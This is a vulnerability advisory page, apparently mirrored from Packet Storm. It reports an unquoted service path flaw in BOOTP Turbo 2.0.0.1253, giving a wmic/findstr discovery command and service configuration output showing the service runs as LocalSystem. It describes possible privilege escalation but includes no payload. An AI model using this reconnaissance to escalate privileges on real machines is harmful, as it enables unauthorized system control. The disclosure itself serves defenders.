Lucene search
K

BOOTP Turbo 2.0.0.1253 Unquoted Service Path

🗓️ 09 May 2021 00:00:00Reported by Erick GalindoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 170 Views

BOOTP Turbo 2.0.0.1253 Unquoted Service Path - Vulnerability allows code execution at startu

Code
`# Exploit Title: BOOTP Turbo 2.0.0.1253 - 'bootpt.exe' Unquoted Service Path  
# Discovery by: Erick Galindo   
# Discovery Date: 2020-05-07  
# Vendor Homepage: https://www.weird-solutions.com  
# Software : https://www.weird-solutions.com/download/products/bootpt_demo_x64.exe  
# Tested Version: 2.0.0.1253  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 Pro x64 es  
# Step to discover Unquoted Service Path:  
  
C:\> wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BOOTP"  
BOOTP Turbo BOOTP Turbo C:\Program Files\BOOTP Turbo\bootpt.exe Auto  
  
# Service info  
  
C:\>sc qc "BOOTP Turbo"  
[SC] QueryServiceConfig CORRECTO  
  
NOMBRE_SERVICIO: BOOTP Turbo  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_INICIO : 2 AUTO_START  
CONTROL_ERROR : 1 NORMAL  
NOMBRE_RUTA_BINARIO: C:\Program Files\BOOTP Turbo\bootpt.exe  
GRUPO_ORDEN_CARGA :  
ETIQUETA : 0  
NOMBRE_MOSTRAR : BOOTP Turbo  
DEPENDENCIAS : Nsi  
: Afd  
: NetBT  
: Tcpip  
NOMBRE_INICIO_SERVICIO: LocalSystem  
  
#Exploit:  
  
This vulnerability could permit executing code during startup or reboot with the escalated privileges.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation